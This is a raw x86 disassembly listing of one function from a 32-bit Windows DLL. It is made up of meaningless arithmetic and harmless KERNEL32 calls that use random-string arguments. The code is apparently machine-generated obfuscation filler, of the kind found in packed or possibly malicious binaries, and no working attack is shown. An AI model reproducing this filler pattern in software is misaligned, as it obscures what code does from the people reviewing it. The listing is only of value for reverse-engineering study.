mov byte [ebp - 0x29a], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba03c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3a3c], eax
push str.rBkbk.FJT
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12f4], ax
mov eax, dword [ebp - 0x3428]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xa10]
xor ecx, edx
mov eax, dword [ebp - 0x36c0]
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba040], eax
mov ecx, dword [ebp - 0x3428]
mov dx, word [ecx]
mov word [0x100ba044], dx
mov dword [ebp - 0x3c9c], 0x100b7fd2
mov eax, dword [0x100b9fa8]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 0x3700]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x350c]
mov eax, dword [edx]
or eax, dword [0x100b7238]
mov dword [0x100b9524], eax
movsx edx, word [ebp - 0xca8]
mov eax, dword [ebp - 0x35c8]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x11e4], dx
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x3ca0], ecx
push 0
push 4
push 1
push 0
push 4
push 0x80000000
push str.ULTWhGrmVRSLdB
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3ca4], eax
mov edx, dword [ebp - 0x3928]
mov eax, dword [ebp - 0x3794]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [0x100ba010]
mov dword [eax], edx
push 0x100ba048
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3918]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1168]
add edx, eax
mov ecx, dword [ebp - 0x36e4]
mov word [ecx], dx
mov edx, dword [ebp - 0x3a1c]
mov eax, dword [ebp - 0x3838]
and eax, dword [edx]
mov dword [ebp - 0x3194], eax
movzx ecx, word [0x100b98bc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x12a4], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b99dc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3ca8], eax
movsx edx, word [ebp - 0x788]
imul eax, edx, 0x1c3
mov word [0x100b72a8], ax
push str.QAlhg.WdHUy
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba06c], ax
mov ecx, dword [ebp - 0x385c]
mov eax, dword [ebp - 0x3634]
xor edx, edx
div dword [ecx]
mov dword [ebp - 0x3c38], eax
push str.4Ka7W
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12f8], ax
mov edx, dword [ebp - 0x33e4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x37e8]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x277], al
lea eax, [ebp - 0x9bf8]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov cl, byte [ebp - 0x267]
mov byte [0x100b801a], cl
mov dl, byte [ebp - 0x17c]
mov byte [ebp - 0x29b], dl
mov eax, dword [0x100b7250]
add eax, dword [0x100b722c]
mov dword [ebp - 0x3068], eax
push str.Te65.UxQ10f_RRiVXM
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba070], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3cac], eax
push 0x100b9c94
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, byte [ebp - 0x294]
mov edx, dword [0x100b9808]
movzx eax, byte [edx]
sub ecx, eax
mov byte [0x100b7fd7], cl
lea ecx, [ebp - 0xbe8]
mov dword [ebp - 0x3cb0], ecx
mov edx, dword [ebp - 0x3888]
mov ax, word [edx]
mov word [ebp - 0x12fc], ax
mov ecx, dword [ebp - 0x3418]
mov edx, dword [ecx]
mov dword [0x100ba074], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x38b8], eax
movsx eax, byte [ebp - 0x27b]
movsx ecx, byte [ebp - 0x271]
or eax, ecx
mov byte [ebp - 0x266], al
lea edx, [ebp - 0x2c90]
mov dword [ebp - 0x3cb4], edx
movzx eax, byte [ebp - 0x260]
mov ecx, dword [0x100b9904]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [0x100b9bc4]
mov byte [edx], al
mov eax, dword [ebp - 0x39d4]
movzx edx, word [eax]
mov eax, dword [ebp - 0x38c4]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3570]
mov word [ecx], dx
mov edx, dword [ebp - 0x3af8]
movsx eax, word [edx]
mov ecx, dword [0x100b9bac]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0xe74], ax
lea eax, [ebp - 0x27e]
mov dword [0x100ba078], eax
movzx ecx, word [ebp - 0x61c]
mov edx, dword [0x100b9db8]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3ba4]
mov word [edx], cx
lea eax, [ebp - 0x3604]
mov dword [ebp - 0x3cb8], eax
mov ecx, dword [ebp - 0x2e84]
add ecx, dword [ebp - 0x30e8]
mov edx, dword [0x100b9e58]
mov dword [edx], ecx
mov eax, dword [0x100b9904]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3454]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x3c1c]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9f2c], eax
mov eax, dword [ebp - 0x3750]
movsx edx, word [eax]
movsx ecx, word [ebp - 0xed8]
sar edx, cl
mov word [ebp - 0x1160], dx
lea eax, [ebp - 0xaf54]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba07c], eax
mov ecx, dword [ebp - 0x38a4]
movsx edx, byte [ecx]
movsx ecx, byte [0x100b7ec6]
shl edx, cl
mov eax, dword [0x100ba024]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba080], eax
mov ecx, dword [ebp - 0x3644]
mov dx, word [ecx]
mov word [ebp - 0x1300], dx
mov dword [ebp - 0x3cbc], 0x100b9b18
mov eax, dword [ebp - 0x2ac0]
or eax, dword [ebp - 0x37ec]
mov dword [0x100b72ac], eax
push 2
lea ecx, [ebp - 0x9804]
push ecx
mov edx, dword [0x100b9b04]
push edx
mov eax, dword [0x100b9b00]
push eax
mov ecx, dword [ebp - 0x3a0c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3590], eax
movzx edx, byte [0x100b719b]
mov eax, dword [ebp - 0x3884]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x3c1c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3a38]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xc1]
add edx, eax
mov ecx, dword [ebp - 0x3a5c]
mov byte [ecx], dl
lea edx, [ebp - 0xd08]
mov dword [0x100ba084], edx
push 0x100ba088
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x1290]
mov dword [ebp - 0x3cc0], eax
mov dword [ebp - 0x3cc4], 0x100b7278
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b94b0], eax
mov ecx, dword [ebp - 0x35f0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3a38]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b7e1e], dl
push 0
push 0x10
push 5
push 0
push 2
push 0x40000000
push str.vhKV9BclWUzFDQM23xR2Mk9Z5w
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3cc8], eax
movzx edx, byte [ebp - 0x3d]
movzx ecx, byte [0x100b7e2b]
sar edx, cl
mov byte [ebp - 0x3e], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba0ac], eax
mov eax, dword [ebp - 0x3848]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e1c]
mov dword [ebp - 0x3080], ecx
push str.rBiwa5LiW4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1304], ax
movzx edx, word [ebp - 0x1158]
mov eax, dword [ebp - 0x3b34]
movzx ecx, word [eax]
shl edx, cl
mov word [0x100b9b9c], dx
push 0
push 0x3aa8
push 0x26d9
push 0x63e9
push 1
mov ecx, dword [ebp - 0x3a0c]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100b974c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3ccc], eax
push str.WDD9_0FKxwS_NesQL
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba0b0], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x39b4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b99b0], eax
mov dword [ebp - 0x3cd0], 0x100b9aa8
mov edx, dword [ebp - 0x3478]
mov eax, dword [ebp - 0x37c0]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2c04], ecx
mov edx, dword [ebp - 0x35f0]
mov al, byte [edx]
mov byte [0x100b801b], al
mov ecx, dword [0x100b9808]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3e]
add edx, eax
mov byte [ebp - 0x21a], dl
mov dword [ebp - 0x3cd4], 0x100b9924
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba0b4], eax
movzx ecx, word [ebp - 0x1100]
mov edx, dword [ebp - 0x3bdc]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [0x100ba018]
mov word [edx], cx
mov eax, dword [ebp - 0x3a4c]
mov ecx, dword [ebp - 0x34c0]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x3b28]
mov dword [edx], ecx
movsx eax, word [0x100b72a8]
movsx ecx, word [ebp - 0x1298]
sar eax, cl
mov word [ebp - 0x1144], ax
push 1
push 0x100b9cb8
mov ecx, dword [0x100b9714]
push ecx
mov edx, dword [0x100b9710]
push edx
mov eax, dword [ebp - 0x3b44]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3cd8], eax
lea ecx, [ebp - 0x2c90]
mov dword [0x100ba0b8], ecx
mov dl, byte [0x100b801b]
mov byte [ebp - 0x29c], dl
lea eax, [ebp - 0x2f]
mov dword [0x100ba0bc], eax
mov ecx, dword [0x100b99d8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3b3c]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xb90], dx
mov ecx, dword [0x100b972c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2c60]
mov dword [ebp - 0x3170], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3cdc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x393c], eax
mov eax, dword [ebp - 0x379c]
mov ecx, dword [ebp - 0x350c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [0x100b9b10]
mov dword [eax], edx
movsx ecx, word [ebp - 0x6bc]
mov edx, dword [ebp - 0x3684]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x1248], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba0c0], eax
mov ecx, dword [0x100b9f78]
mov dl, byte [ecx]
mov byte [ebp - 0x29d], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3ce0], eax
movzx eax, byte [ebp - 0x288]
mov ecx, dword [ebp - 0x36f4]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100ba0bc]
mov byte [edx], al
movsx eax, byte [ebp - 0x293]
mov ecx, dword [ebp - 0x3b88]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0xb5], al
mov eax, dword [ebp - 0x36a8]
mov ecx, dword [0x100b9ee8]
add ecx, dword [eax]
mov dword [ebp - 0x3c5c], ecx
push 1
lea edx, [ebp - 0x980c]
push edx
mov eax, dword [0x100b9714]
push eax
mov ecx, dword [0x100b9710]
push ecx
mov edx, dword [0x100b964c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x39c4], eax
mov eax, dword [ebp - 0x3ba4]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x36c0]
movzx eax, word [edx]
and ecx, eax
mov word [0x100b72b0], cx
mov dword [ebp - 0x3ce4], 0x100b96b4
mov ecx, dword [0x100b7290]
sub ecx, dword [ebp - 0x3a88]
mov dword [ebp - 0x3944], ecx
mov edx, dword [ebp - 0x3974]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x256]
shl eax, cl
mov byte [0x100b71ce], al
push 0x100ba0c4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx ecx, byte [0x100b7f46]
movsx edx, byte [ebp - 0x1d5]
or ecx, edx
mov eax, dword [ebp - 0x3978]
mov byte [eax], cl
mov ecx, dword [ebp - 0x33d4]
mov dword [ebp - 0x3ce8], ecx
movzx edx, word [0x100b7260]
mov eax, dword [ebp - 0x38c4]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x100b99d4]
mov word [ecx], dx
mov edx, dword [0x100b9734]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3be8]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x12dc], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba0dc], eax
mov eax, dword [0x100b9db8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x33b8]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x8a8], cx
mov ecx, dword [ebp - 0x3bb0]
movzx edx, byte [ecx]
mov eax, dword [0x100b9598]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100b9988]
mov byte [ecx], dl
mov edx, dword [0x100b9cc0]
mov eax, dword [ebp - 0x3c38]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x36bc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3910]
mov eax, dword [ebp - 0x35e0]
xor eax, dword [edx]
mov dword [ebp - 0x328c], eax
mov cl, byte [ebp - 0x69]
mov byte [0x100b802e], cl
movzx edx, word [ebp - 0xda8]
movzx eax, word [ebp - 0x1280]
add edx, eax
mov ecx, dword [ebp - 0x3bdc]
mov word [ecx], dx
mov dx, word [ebp - 0x5a0]
mov word [ebp - 0x1308], dx
mov eax, dword [ebp - 0x3c54]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x3c40]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100b9afc]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3cec], eax
mov edx, dword [0x100b9ac0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x273]
or eax, ecx
mov byte [ebp - 0x46], al
mov edx, dword [ebp - 0x3770]
mov eax, dword [ebp - 0x2af4]
and eax, dword [edx]
mov dword [ebp - 0x306c], eax
mov ecx, dword [ebp - 0x3c6c]
mov edx, dword [0x100b9a4c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [0x100b72b4], eax
movsx ecx, byte [ebp - 0x267]
movsx edx, byte [ebp - 0x1d5]
xor ecx, edx
mov byte [ebp - 0x269], cl
mov eax, dword [0x100b99d8]
mov cx, word [eax]
mov word [ebp - 0x130c], cx
mov edx, dword [ebp - 0x3988]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3960]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [0x100b971c]
mov word [ecx], ax
lea edx, [ebp - 0x28d]
mov dword [ebp - 0x3cf0], edx
mov eax, dword [ebp - 0x3758]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x38e8]
shl edx, cl
mov dword [ebp - 0x2c04], edx
lea eax, [ebp - 0x11f8]
mov dword [0x100ba0e0], eax
mov ecx, dword [ebp - 0x2e08]
mov dword [ebp - 0x3cf4], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x36fc], eax
movsx edx, byte [ebp - 0x266]
mov eax, dword [ebp - 0x37e4]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3a58]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9d30], eax
mov ecx, dword [ebp - 0x3af8]
mov dx, word [ecx]
mov word [0x100ba0e4], dx
mov eax, dword [ebp - 0x3c1c]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x39e0]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x291], dl
mov dword [ebp - 0x3cf8], 0x100b9dd4
mov ecx, dword [ebp - 0x3690]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xf7]
and edx, eax
mov byte [0x100b7f8f], dl
push str.TJkVl8Sd
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9f1c], ax
mov ecx, dword [ebp - 0x3818]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3868]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x3918]
mov word [eax], dx
movzx ecx, word [ebp - 0x12c4]
mov edx, dword [ebp - 0x3b6c]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x82c], cx
mov ecx, dword [0x100b9d54]
mov edx, dword [ebp - 0x3ba0]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [0x100b72a4], eax
movsx edx, word [ebp - 0x1278]
mov eax, dword [0x100ba084]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3c70]
mov word [ecx], dx
lea edx, [ebp - 0xe7]
mov dword [ebp - 0x3cfc], edx
mov eax, dword [ebp - 0x33d4]
and eax, dword [ebp - 0x3748]
mov dword [0x100b72b8], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3d00], eax
movsx edx, byte [ebp - 0x26a]
movsx ecx, byte [0x100b717a]
sar edx, cl
mov eax, dword [ebp - 0x3538]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3b6c]
mov dx, word [ecx]
mov word [ebp - 0x1310], dx
lea eax, [ebp - 0x121c]
mov dword [0x100ba0e8], eax
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x3d04], ecx
mov edx, dword [ebp - 0x3c18]
mov eax, dword [edx]
xor eax, dword [0x100b720c]
mov dword [0x100b72a4], eax
movsx ecx, word [ebp - 0xca8]
mov edx, dword [ebp - 0x37f0]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x384c]
mov word [edx], cx
mov eax, dword [0x100b9bec]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xe]
or ecx, edx
mov eax, dword [ebp - 0x3c30]
mov byte [eax], cl
lea ecx, [ebp - 0x37dc]
mov dword [0x100ba0ec], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3908], eax
lea edx, [ebp - 0x12fc]
mov dword [ebp - 0x3d08], edx
mov eax, dword [ebp - 0x3758]
mov ecx, dword [0x100b9530]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3aa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3bf4]
movsx ecx, word [eax]
imul edx, ecx, 0x58f
mov word [0x100b7214], dx
mov eax, dword [ebp - 0x2e08]
sub eax, dword [ebp - 0x3acc]
mov dword [ebp - 0x2ce8], eax
push 0x100ba0f0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x100b96b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 0x3620]
mov dl, byte [ecx]
mov byte [ebp - 0x29e], dl
lea eax, [ebp - 0xf7]
mov dword [0x100ba114], eax
movsx edx, byte [ebp - 0xf1]
mov eax, dword [ebp - 0x3b00]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0xb5], dl
lea ecx, [ebp - 0x3108]
mov dword [ebp - 0x3d0c], ecx
movzx edx, byte [ebp - 0x28d]
mov eax, dword [ebp - 0x3904]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b71a3], dl
mov ecx, dword [0x100ba084]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x38bc]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x3cd0]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3d10], eax
lea ecx, [ebp - 0x1290]
mov dword [ebp - 0x3d14], ecx
mov edx, dword [ebp - 0x3aac]
mov eax, dword [ebp - 0x3ba0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [0x100b720c], ecx
mov edx, dword [ebp - 0x35c4]
movsx eax, byte [edx]
imul ecx, eax, 0xf
mov byte [ebp - 0x15], cl
mov edx, dword [ebp - 0x37d0]
mov eax, dword [ebp - 0x3cf8]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x3790], ecx
mov edx, dword [ebp - 0x3c84]
mov al, byte [edx]
mov byte [0x100b802f], al
push 0
push 8
push 2
push 0
push 1
push 0xc0000000
push str.EqgmSygnHWZ57ifidoy_f3esVdukOp5
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba118], eax
mov ecx, dword [ebp - 0x36c0]
movzx edx, word [ecx]
mov eax, dword [0x100b9c5c]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x648], dx
movsx edx, word [ebp - 0x12dc]
mov eax, dword [0x100b9508]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xe90], dx
mov dword [0x100ba11c], 0x100b7183
mov edx, dword [ebp - 0x35ec]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x128c]
shl eax, cl
mov ecx, dword [ebp - 0x36f0]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34d4], eax
movzx edx, word [ebp - 0x1260]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba120], ax
lea eax, [ebp - 0x31e0]
mov dword [ebp - 0x3d18], eax
mov ecx, dword [ebp - 0x399c]
mov edx, dword [ebp - 0x3ce8]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [0x100b9584]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x299]
movzx edx, byte [ebp - 0x3d]
add ecx, edx
mov byte [ebp - 0x286], cl
mov eax, dword [ebp - 0x3710]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3b40]
movsx eax, word [edx]
and ecx, eax
mov word [ebp - 0x1140], cx
lea ecx, [ebp - 0xd0]
mov dword [0x100ba124], ecx
mov edx, dword [ebp - 0x36e4]
mov ax, word [edx]
mov word [ebp - 0x1314], ax
mov ecx, dword [ebp - 0x3b78]
mov edx, dword [ecx]
mov dword [ebp - 0x3d1c], edx
mov eax, dword [ebp - 0x33fc]
mov ecx, dword [0x100b9ed8]
imul ecx, dword [eax]
mov dword [0x100b9540], ecx
movzx edx, byte [ebp - 0x21a]
movzx eax, byte [ebp - 0x3e]
xor edx, eax
mov ecx, dword [ebp - 0x3c84]
mov byte [ecx], dl
lea edx, [ebp - 0x69]
mov dword [ebp - 0x3d20], edx
push str.IP_FPgT_Zh5ZS
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9b68], ax
lea eax, [ebp - 0xaf78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x2f28
push 0x3954
push 0x1938
push 0x264f
mov ecx, dword [ebp - 0x3b70]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100ba01c], eax
mov dx, word [ebp - 0xbe8]
mov word [0x100ba128], dx
movzx eax, word [ebp - 0xa10]
mov ecx, dword [ebp - 0x3b6c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3ba4]
mov word [ecx], ax
mov edx, dword [ebp - 0x3494]
mov eax, dword [ebp - 0x3790]
sub eax, dword [edx]
mov dword [ebp - 0x2ba8], eax
push 0x100ba12c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x3c9c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x39b0]
movsx ecx, byte [eax]
or edx, ecx
mov byte [0x100b7e3b], dl
mov edx, dword [ebp - 0x387c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x334c]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3a28]
mov byte [edx], al
lea eax, [ebp - 0xaf9c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2ba4]
mov dword [ebp - 0x3d24], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9d30], eax
lea edx, [ebp - 0xaf78]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [ebp - 0x1254]
movzx ecx, word [ebp - 0x12a8]
sar eax, cl
mov word [0x100b72bc], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba144], eax
mov ecx, dword [ebp - 0x3ce4]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3960]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xa44], dx
mov edx, dword [ebp - 0x3b58]
mov eax, dword [edx]
xor eax, dword [ebp - 0x3bec]
mov ecx, dword [ebp - 0x3b98]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x266]
movsx eax, byte [ebp - 0x28c]
add edx, eax
mov byte [0x100b7e73], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3d28], eax
lea ecx, [ebp - 0x26b]
mov dword [ebp - 0x3d2c], ecx
push str.Zffy7_svRun_ALHrPcl.ys
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba148], ax
mov edx, dword [ebp - 0x3ac8]
movzx eax, word [edx]
movzx ecx, word [0x100b71d4]
and eax, ecx
mov edx, dword [ebp - 0x3b6c]
mov word [edx], ax
push 0
push 2
push 3
push 0
push 8
push 0x40000000
push str.BPpCeFbub0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3d30], eax
mov eax, dword [ebp - 0x39a0]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3ba4]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b979c], dx
movzx ecx, word [ebp - 0x11c4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9684], ax
mov dword [ebp - 0x3d34], 0x100b71dc
mov edx, dword [ebp - 0x35bc]
movsx eax, word [edx]
mov ecx, dword [0x100b9c34]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xca8], ax
mov edx, dword [0x100b9c64]
mov eax, dword [edx]
mov dword [0x100ba14c], eax
push 2
lea ecx, [ebp - 0x9804]
push ecx
mov edx, dword [0x100ba154]
push edx
mov eax, dword [0x100ba150]
push eax
mov ecx, dword [ebp - 0x3554]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba01c], eax
lea edx, [ebp - 0x27a]
mov dword [ebp - 0x3d38], edx
mov eax, dword [0x100ba0bc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x158]
or ecx, edx
mov byte [0x100b71cf], cl
lea eax, [ebp - 0xafc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x3d3c], 0x100b7260
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba158], eax
lea ecx, [ebp - 0x9cb8]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x3a64]
mov eax, dword [ebp - 0x3ce8]
imul eax, dword [edx]
mov ecx, dword [ebp - 0x38d4]
mov dword [ecx], eax
push 0x1f72
push 0
push 0x100b9dd0
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x363c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b99b0], eax
mov edx, dword [0x100b9ddc]
mov eax, dword [ebp - 0x2af4]
xor eax, dword [edx]
mov dword [0x100b9b54], eax
mov ecx, dword [ebp - 0x3614]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba15c], eax
mov edx, dword [ebp - 0x3988]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x37a0]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x698], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba160], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3d40], eax
movsx eax, byte [ebp - 0x261]
mov ecx, dword [ebp - 0x3a70]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x120], al
mov eax, dword [ebp - 0x3524]
movzx edx, byte [eax]
